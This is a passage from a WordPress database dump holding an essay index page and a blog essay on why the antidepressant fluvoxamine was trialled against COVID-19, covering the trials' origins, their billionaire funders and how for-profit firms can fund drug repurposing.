Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-11-03 23:45:26','2021-11-03 23:45:26','',22,'https://trevorklee.com/?p=233',0,'revision','',0),
(234,1,'2021-11-15 15:27:49','2021-11-15 15:27:49','<!-- wp:paragraph -->\n<p><em><a href=\"https://twitter.com/trevor_klee\">Follow me on Twitter</a> if you want to discuss this essay, my other essays, or anything else having to do with science and biotech. If you\'d like to get notified when I publish new essays, <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up for my mailing list</a>, which I literally only use to alert people when I publish new essays.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may have seen a headline recently that says something like “<a href=\"https://www.cnn.com/2021/10/28/health/fluvoxamine-covid-risk-study/index.html\">Cheap, generic antidepressant may reduce severe Covid-19 disease, study finds</a>”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you click through to the news story, you’ll see a story about how doctors gave fluvoxamine, a somewhat uncommon SSRI, to COVID 19 patients in Brazil. 11% of the patients given fluvoxamine ended up in the ER, while 16% of the patients given placebo ended up in the ER. You’ll also see some handwaving about how maybe fluvoxamine works in COVID 19 because it reduces inflammation, or maybe because it reduces blood platelets, or maybe just because it’s an SSRI.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a neat story, and a great example of drug repurposing living up to its promise. But, the way it’s presented, you’ll also likely be left with a bunch of questions like:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Why were these scientists giving an uncommon SSRI to COVID 19 patients in Brazil?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Why are they so uncertain on how it works?<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Who paid for all this?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. If trying random drugs on random diseases works so well, why don’t we do it more?<br><br>These are all excellent questions that are thoroughly unanswered by the news article. Not coincidentally, the answers to these questions are both interesting and have a lot of relevance to how drugs are developed today, especially drug repurposing development efforts like this fluvoxamine one. I thought I’d take a stab at answering them in the essay below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alternatively, if you want the short answers of these questions, they are as follows:<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Mouse trial + case studies + no better ideas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Too many cooks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Billionaires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But these short answers aren’t nearly as fun or interesting as the long ones, and don’t give me the chance to talk about the clever way that my company is doing our own drug repurposing project. So, I recommend you read on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you look up fluvoxamine on Wikipedia, it’ll tell you that fluvoxamine is an SSRI and it works the same way all SSRIs do. Namely, when one nerve cell squirts out serotonin to a receiving nerve cell, fluvoxamine blocks the reuptake of serotonin. This leads to an increase of serotonin in the synaptic gap, <a href=\"https://slatestarcodex.com/2018/11/07/ssris-an-update/\">stuff happens</a>, and hopefully the patient’s anxiety or depression is cured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://i0.wp.com/medicoapps.org/wp-content/uploads/2019/02/SELECTIVE-SEROTONIN-REUPTAKE-INHIBITORS-SSRI.jpg?fit=600%2C315&amp;ssl=1\" alt=\"Selective Serotonin Reuptake Inhibitors (SSRI) - www.medicoapps.org\"/><figcaption>A misleadingly simplified version of how SSRIs work. This author comes from the classic \"gumdrop\" school of drawing SSRIs.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Wikipedia will also tell you that fluvoxamine, like some other SSRIs, has the “off-target” effect of activating, or agonizing, the sigma one receptors, mysterious receptors that modulate other receptors to, uh, act differently. The quotation marks and vagueness here is deliberate. Sigma one agonism may contribute to the antidepressant effects of fluvoxamine (like it does for <a href=\"https://en.wikipedia.org/wiki/Opipramol\">opipramol</a>, an old anxiety drug only used in Europe), and agonism of the sigma one receptors has a confusing grab bag of effects that don’t fit neatly into a single classification.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of these effects in the grab bag seems to be blocking a specific inflammation pathway that’s very important in COVID and other infectious diseases. If you’re interested in the science behind it, follow the footnote [1]. Otherwise, you should just know that this effect of sigma one agonism was theorized and tested in <a href=\"https://sci-hubtw.hkvisa.net/10.1126/scitranslmed.aau5266\">a mouse study of septic shock in 2019</a>. They found that mice who were given an injection of fecal matter (gross) and then given fluvoxamine did better than mice who were given the injection and not given fluvoxamine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This mouse study of septic shock was supposed to turn into a human trial of septic shock, which is a thing we were worried about in 2019. To be fair to yesteryear’s worries, <a href=\"https://en.wikipedia.org/wiki/Septic_shock#Epidemiology\">septic shock does kill an estimated 20 million people a year, and has a 25-50% mortality rate even in developed countries</a>. So, not a crazy thing to worry about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So far, this all is normal. Trials where drugs are repurposed to test on mice happen all the time. Every single drug you can think of and more has been tested on every single sick mouse in existence. Moreover, pretty much all those mouse studies end with a great result for the mice, the author saying “let’s test this on humans!”, and then nothing happening. This was a better run mouse study than most, but, still, this isn’t the interesting part of the story.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/6/6f/Scid_mouse.jpg/250px-Scid_mouse.jpg\" alt=\"\"/><figcaption>Have you ever wondered why, if scientists can cure cancer in mice, mice still get cancer?</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The interesting part happened the next year after COVID hit, as most interesting things in 2020 did. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7308649/\">Early on</a> in COVID it was noticed that the “cytokine storm”, which is the body’s inflammatory response to COVID, was one of the major reasons for COVID’s relatively high fatality rate. Halting or inhibiting this cytokine storm was seen as one of the top priorities for COVID researchers, especially as the drugs that were usually used to tamp immune responses, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7472975/#:~:text=It%20has%20been%20demonstrated%20that,who%20develop%20pneumonia%20%5B6%5D.\">like the steroid dexamethasone</a>, only worked ok and had serious side effects.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The panic of COVID meant that science and medicine happened a lot more so than it did in the pre-pandemic days. One of those ways it happened more was in very aggressive collection, sharing, and analysis of patient data, including data on the cytokine storm. In this frenzy of analysis, one Parisian hospital soon noticed something peculiar: <a href=\"https://www.medrxiv.org/content/10.1101/2020.07.09.20143339v2.full.pdf#page=3\">COVID patients who coincidentally received antidepressants soon after admission to the hospital had diminished risk of intubation or death.</a> In other words, they seemed to have better outcomes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In normal times and for normal disease, I’m not sure if anything would have come of an analysis like this one. Even if this analysis had been run (a big if), it would have taken a while for any sort of resulting trial to be run. But, as the bank advertisements say, COVID is a new normal. So, before the Parisian’s hospital’s data was even formally published, an American doctor took their findings, connected them with the mouse septic shock study, then did a 128 person study where she explicitly examined whether fluvoxamine could prevent clinical deterioration in COVID. And, what do you know, <a href=\"https://jamanetwork.com/journals/jama/fullarticle/2773108\">it could</a>!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>128 people isn’t a lot of people, though, especially as only 6 people in the placebo group experienced clinical deterioration. So, a much larger study was organized in Brazil to get a better sense of whether this result was real or a fluke. That was the TOGETHER trial, mentioned at the beginning of the post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whew! That’s question 1 in the bag: how we ended up giving fluvoxamine to COVID patients in Brazil (<strong>correction: </strong>Patrick Collison, who partially funded the TOGETHER trial through Fast Grants, tweets that <a href=\"https://twitter.com/patrickc/status/1463956869735534593\">why the trial was funded involved more small trials/evidence than I mentioned above)</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the way, it’s worth noting that from the Parisian hospital analysis to the American study was only about 4 months, and the publication of the American study to the start of the Brazilian study was only like 2 months. By trial standards and scientific standards, that is crazy fast. I just want to emphasize one part on how exceptional these studies were before moving onto the next question. Don’t worry, the second part of how exceptional these studies were is coming soon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Question 2, on why the scientists were so unclear on how fluvoxamine works in COVID, is much quicker to answer and less interesting, in my opinion. This was a large, collaborative study that the scientists were trying to get out as quickly as possible. There was probably a diversity of opinions on why the drug worked, and it was easier just to skip over that and focus on the takeaway that the drug did work. Hammering out the argument was not worth the time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Question 3 (“who paid for all this?”), on the other hand, is a much more interesting question. The American study was paid for by the COVID 19 Early Treatment Fund (CETF). The Brazil study was paid for by Fast Grants and the Rainwater Charitable Foundation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s interesting because literally all of those foundations are funded by multimillionaires and billionaires. CETF received a lot of funding from the first president of Ebay, Jeffrey Skoll. Fast Grants received a lot of funding (and free publicity) by Patrick Collison, the cofounder of Stripe. The Rainwater Charitable Foundation is funded by the fortune of the late Richard Rainwater, a billionaire investor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do you notice something about that list of funders? Well, who’s missing? You guessed it: any governmental or nongovernmental organization who had any prior major investments in public health. These COVID trials were not funded by the NIH, the FDA, the CDC, the Red Cross, or Mass General Hospital. Nope. Just random billionaires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://clinicalcenter.nih.gov/sites/nihinternet/files/internet-files/about/news/newsletter/2019/winter/images/story-winter-05.jpg\" alt=\"Staff honored for improving patient care and the workplace environment |  Clinical Center Home Page\"/><figcaption>Pictured: the NIH giving each other medals. Not pictured: the NIH funding COVID trials.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And now we have the second piece of why these trials were so exceptional: they didn’t just have capable, organized people pushing them to occur rapidly, they were also funded by generous donors who were willing to rapidly deploy capital. That is incredibly rare.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the rarity of easy funding of worthwhile drug trials seems weird and troubling to you, then I agree. Unfortunately, this is the way the nation’s funding infrastructure is set up. These large trials require a lot of funding and organization. Doctors and hospitals need to be recruited, instructed, and paid; materials need to be supplied; and data needs to be gathered and analyzed. The NIH (or NSF, or whoever) not only won’t provide all the money necessary to run the trial (or sometimes any money at all), they’ll also give any prospective investigator a ton of grief and paperwork, making it difficult to run the trial properly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This issue ties into the answer to the last question: why don’t we do this more often? Why aren’t we constantly trying random drugs on random diseases? After all, it’s not like there’s any lack of studies like that mouse septic shock study. Hell, there’s an idea right there: fluvoxamine in a trial for septic shock in humans. Done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The short answer is that we don’t do this more often because it’s really tough to fund these studies. The generosity of billionaires is always a tricky thing to rely on, and, as mentioned, public funds won’t do. Large non-profits can step in occasionally, but they’re usually disease specific (like the Michael J. Fox Foundation for Parkinson’s) and don’t love putting this much of their budget into one trial or study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other other option for funding is, of course, through drug manufacturers. You might even expect these would be the most natural funder for these sorts of trials, given that they’ll make a lot of money off of the new indications for the drug. What’s to stop a drug manufacturer from funding a bunch of trials and then making money for whatever diseases the trial works for?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, it’s not so simple. If we look at fluvoxamine, for instance, it’s generic, or off-patent. So, while there used to be one manufacturer of fluvoxamine, now there are many.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This has been great for reducing the prices of fluvoxamine for its original indication, depression. However, this introduces a massive free-rider problem for any new indication that someone might try to come up with for fluvoxamine. No generic manufacturer is going to fund a trial of fluvoxamine for COVID on their own, because the other generic manufacturers would also benefit from the results of this trial and not be out millions of dollars.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t to say there’s no way to have a drug manufacturer fund a drug repurposing trial. If there were, my company, <a href=\"http://highwaypharm.com\">Highway Pharmaceuticals</a>, would be dead out of the starting gate, as that’s our modus operandi. It just means that drug repurposing trials by for-profit entities have to be more clever than those by non-profits in order to avoid free-rider problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, let’s talk about the clever ways that drug repurposing trials can be funded by for-profit entities. Not only will it be informative, but it’ll give me a chance to call myself clever, which I always enjoy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first and most obvious way is just to try to patent the drug that’s being repurposed, and then use the courts to fight any free riders. Contrary to popular belief, you can patent a novel use for a generic drug, as long it’s “novel and non-obvious”, <a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\">which I’ve discussed before</a>. If you get the patent, you can hopefully carry out the trial on the actual drug that’s already been successful in a mouse trial, without having to modify it or manufacture it yourself. Then you can simply sue anyone who threatens your patent, and laugh all the way to the bank. For a current example, this is what a startup called PharmaTher is doing with <a href=\"https://www.neurologylive.com/view/fda-approves-ind-ketamine-parkinson-disease-dyskinesia\">ketamine for Parkinson disease dyskinesia</a>, based on case reports of Parkinson’s patients who received ketamine for anesthesia and then found their dyskinesia alleviated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://media.springernature.com/full/springer-static/image/art%3A10.1038%2Fnature.2016.19862/MediaObjects/41586_2016_Article_BFnature201619862_Figa_HTML.jpg\" alt=\"How club drug ketamine fights depression | Nature\"/><figcaption>This is what I got when I Googled ketamine, so I have to assume these are Parkinson\'s patients celebrating the alleviation of their dyskinesia.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>However, while this is the most obvious way to fund and make money off of drug repurposing, it’s actually the hardest to carry out in practice. Patents, as my patent lawyer likes to remind me, are only worthwhile if you’re going to enforce them. And the problem is that you won’t just have to enforce your patents against other drug manufacturers. You’ll have to enforce your patent against any doctor who reads your trial and decides to try out the generic version of the drug on their own patients. So, PharmaTher is going to need to be willing to sue any doctor who uses generic ketamine on a Parkinson’s patient. If you imagine a newspaper headline like, “Pharmaceutical company sues local doctor for trying to help Parkinson’s patients”, you’ll understand why this is a tough path to follow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second possible way is to slightly modify the generic, get a patent on the slightly modified version, and then sell that. As the only manufacturer of the slightly modified version, you avoid the issue of off-label prescriptions. This is what Johnson and Johnson did with esketamine for depression, as <a href=\"https://slatestarcodex.com/2019/03/11/ketamine-now-by-prescription/\">Scott Alexander eloquently describes</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this case, you do reintroduce some of the risks of a new drug (e.g. difficulty in manufacturing, risk of the drug not working, risk of the drug causing toxicity), but hopefully it’ll be much less of a risk than a completely new drug. You also will likely have some medical professionals who realize they can just prescribe the generic instead of your slightly modified version, like Scott in the link, but there won’t be too many of those and they’ll be fighting uphill against your marketing and relationships with insurance companies. Overall, this is a reasonably safe way for a company with chemistry and manufacturing expertise to repurpose a drug, as long as they’re willing to get a little bit slimy with their marketing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The third way is for those of us, like myself, who have little manufacturing expertise and a dislike of slime. This way is to combine two generics for some sort of synergy in a new indication. Doctors aren’t likely to prescribe two drugs combined off label, especially if one or both of those drugs in the combination is in a non-standard dose (imagine a doctor telling you to take ⅓ of one pill and ½ of another). You also avoid almost all of the risks of a new drug, as manufacturing and toxicology are way easier, and it’s much easier to predict whether the drug will work in this new indication. Finally, you’re less likely to annoy people if you can argue that this is a genuinely surprising synergy in a new indication, like Amylyx has argued with <a href=\"https://www.nejm.org/doi/full/10.1056/NEJMoa1916945\">sodium phenylbutyrate/taurursodiol combination in ALS</a>, given that neither of those drugs could have been predicted to work well in ALS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The main danger in this approach is that people tend to attack the synergy part, and argue that these are just two drugs which both work separately, or even just one of the drugs work. Amylyx got that charge in a letter to the journal they published their trial in, arguing that taurursodiol works on its own. This can escalate to more serious consequences, too, as the FDA can and will reject drug combinations that they don’t see as synergistic. Overall, this is a slightly riskier but much cheaper way to repurpose a drug, perfect for startups with shallow pockets and a dislike of fake drug differentiation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, tying this back to fluvoxamine for COVID, a for-profit company could have conceivably funded this trial by either using a drug that’s still a sigma one agonist but not generically available (like <a href=\"https://en.wikipedia.org/wiki/Opipramol\">opipramol</a>), or by coming up with some clever, synergistic drug combination to combine with fluvoxamine, like something that suppresses cytokine production by another way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neither of these would have been as fast or as efficient as what actually happened with fluvoxamine, and I think it’s truly a great thing that this fluvoxamine trial was able to be carried out and funded the way it was. But, they are much faster and more efficient than the usual alternative path, in which the drugs remain in mouse trials for years until some magical combination of non-profit money comes together to fund a small human trial. You gotta take what you can get.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] One of the effects of sigma one agonism seems to be inhibition of cytokine production and the IRE 1 pathway, part of the unfolded protein response.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cytokines are small proteins that can serve as very localized alarms. The unfolded protein response is a cellular response to situations in which the cell notices that its protein factory, the endoplasmic reticulum, is consistently churning out misshapen proteins. When this occurs, the cell immediately stops making proteins and either fixes the factory or burns it down by killing the cell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cytokines and the unfolded protein response are very related to each other, as one can cause the other, or both can be caused by the same thing. Anytime that the UPR is activated is an emergency, and massive cytokine production is a very stressful event that can cause the cell to start misfolding proteins.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They are also, for the most part, good things. It’s good for the body to have localized alarms, and it’s good to shut down cells that are consistently malfunctioning.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem comes when this becomes a cascade. Imagine the body as a factory, and each cell as a person. If one person is consistently messing up production, it’s good for the foreman to try to fix the situation, or fire the person if it doesn’t work. It’s also good for the foreman to tell that person’s coworkers, so the coworkers know they’ll have to step up their own production for a bit and watch out for whatever element caused the first person to slack. If, however, the foreman fires 100 workers at once and tells all their coworkers at the same time, that can have unpredictable effects in that section of the factory, as it’s unclear who steps up to cover the load and there’s also going to be a lot of noise. This can lead to chaos and a total factory shutdown.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is where fluvoxamine comes in. Fluvoxamine, as a sigma one agonist, inhibits the foreman firing people. This can turn a cascade of 100 people being fired at once into only 10 at a time, which is easier for the factory to manage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluvoxamine’s ability to do this was theorized for a while, but the best confirmation came in a mouse study in 2019. In <a href=\"https://sci-hubtw.hkvisa.net/10.1126/scitranslmed.aau5266\">this study</a>, they injected mice with a slurry of fecal matter, which is both disgusting and a great way to induce septic shock.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Septic shock is a classic example of a cascade: a million cytokine alarms go off at once, all the cells start messing up because of the noise and stress, the foreman freaks out and fires a bunch of people/cells at random, and the organism often dies. However, this study found that mice who genetically lacked sigma one receptors died more often after injection, probably because nobody was there to inhibit the foreman. It also found that genetically normal mice who were given fluvoxamine after getting injected did better than normal mice who didn’t. Finally, they found hints for a similar role of fluvoxamine in human blood samples.</p>\n<!-- /wp:paragraph -->','Why did they give antidepressants to COVID patients?','','publish','closed','closed','','why-did-they-give-antidepressants-to-covid-patients','','','2021-11-26 02:50:13','2021-11-26 02:50:13','',0,'https://trevorklee.com/?page_id=234',0,'page','',0),
(235,1,'2021-11-15 15:17:24','2021-11-15 15:17:24','','image','','inherit','open','closed','','image-3','','','2021-11-15 15:17:24','2021-11-15 15:17:24','',234,'https://trevorklee.com/wp-content/uploads/2021/11/image.jpeg',0,'attachment','image/jpeg',0),
